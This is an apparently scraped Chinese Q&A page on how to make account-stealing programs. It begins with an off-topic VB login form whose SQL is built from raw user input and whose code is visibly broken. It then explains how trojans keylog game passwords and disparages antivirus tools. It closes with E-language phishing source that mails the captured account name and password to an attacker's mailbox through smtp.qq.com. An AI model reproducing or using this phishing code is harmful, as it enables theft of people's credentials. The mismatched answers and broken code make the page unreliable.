本文目录一览：
- 1、怎么用VB设计盗号程序
- 2、关于VB的盗号程序制作 跪求VB的高手帮帮小弟
- 3、一般盗号的程序是用什么语言编写的
- 4、为什么我输入了别人所说的易语言盗号源代码，却提示说调用子程序“连接发信服务器”时传递了过多的参数。
- 5、求一个易语言钓鱼盗号源码
怎么用VB设计盗号程序
代码Option Explicit
Public Conn As New ADODB.Connection '标记连接对象
Private Sub cmdLogin_Click()
Dim SQL As String
Dim rs_Login As New ADODB.Recordset
If Trim(txtuser.Text) = "" Then '判断输入的用户名是否为空
MsgBox "请输入用户名", vbOKOnly + vbExclamation
txtuser.Text = ""
txtuser.SetFocus
ElseIf txtpwd.Text = "" Then
MsgBox "请输入密码", vbOKOnly + vbExclamation
txtpwd.Text = ""
txtpwd.SetFocus
Else
SQL = "select * from 系统管理 where 用户名='" txtuser.Text "'"
rs_Login.Open SQL, Conn, adOpenKeyset, adLockPessimistic
If rs_Login.EOF = True Then
MsgBox "对不起，没有这个用户", vbOKOnly + vbExclamation
txtuser.Text = ""
txtuser.SetFocus
rs_Login.Close
Else '检验密码是否正确
If rs_Login.Fields(1) = txtpwd.Text Then
UserID = txtuser.Text
UserPow = rs_Login.Fields(2)
rs_Login.Close
Unload Me
FrmLoading.Show
Exit Sub
Else
MsgBox "密码错误，请您重输", vbOKOnly + vbExclamation
txtpwd.Text = ""
txtpwd.SetFocus
rs_Login.Close
End If
End If
End If
End Sub
Private Sub Form_Load() '系统初始化，加载数据库
Dim Connectionstring As String
Connectionstring = "provider=Microsoft.Jet.oledb.4.0;" _
"Data Source=" App.Path "\book.mdb"
Conn.Open Connectionstring
End Sub
Private Sub txtpwd_KeyPress(KeyAscii As Integer) '敲回车直接登陆
If KeyAscii = 13 Then cmdLogin_Click
End Sub
关于VB的盗号程序制作 跪求VB的高手帮帮小弟
建议楼主编程从C语言开始，如果想好好学编程的，先从底层学起，特别是数据结构 ，不要学那些华而不实的东西，
一般盗号的程序是用什么语言编写的
杀毒软件就是垃圾软件
360更是流氓软件之王
盗号程序一般是用DELPHI编写的,高手也有用C或C++
原理简单的说就是骇客通过各种途径让你的电脑下载木马(网页挂马,主动入侵,社会工程等)
并在后台运行他,然后当你运行游戏的时候,木马会侦测到你已经开启了登陆窗口,就会进行键盘记录
当你点登陆后,密码就发送到骇客的邮箱或者网站上了..这是一般的盗号程序的原理
想防止的话,到微软官方网站去下载补丁,不要相信360什么的流氓软件
这样被挂马和主动入侵的机会就会减小,关于社会工程入侵,你最好买一本关于心理的书籍翻翻~~~
为什么我输入了别人所说的易语言盗号源代码，却提示说调用子程序“连接发信服务器”时传递了过多的参数。
把代码写出来，一般为
连接发信服务器("smtp.qq.com",25,"邮箱账号","邮箱密码",)
SMTP.QQ.COM是QQ的SMTP服务器
25是SMTP服务器的端口号、
最后一个参数是超时，一般不需要填。
求一个易语言钓鱼盗号源码
.版本
2
.支持库
internet
.子程序
_按钮1_被单击
连接发信服务器
(“smtp.qq.com”,
,
“用户名”,
“密码”,
)
发送邮件
(“盗号”,
“帐号：”
＋
编辑框1.内容
＋
“密码：”
＋
编辑框2.内容,
“QQ邮箱地址”,
“QQ邮箱地址”,
“QQ邮箱地址”,
“QQ邮箱地址”,
“QQ邮箱地址”)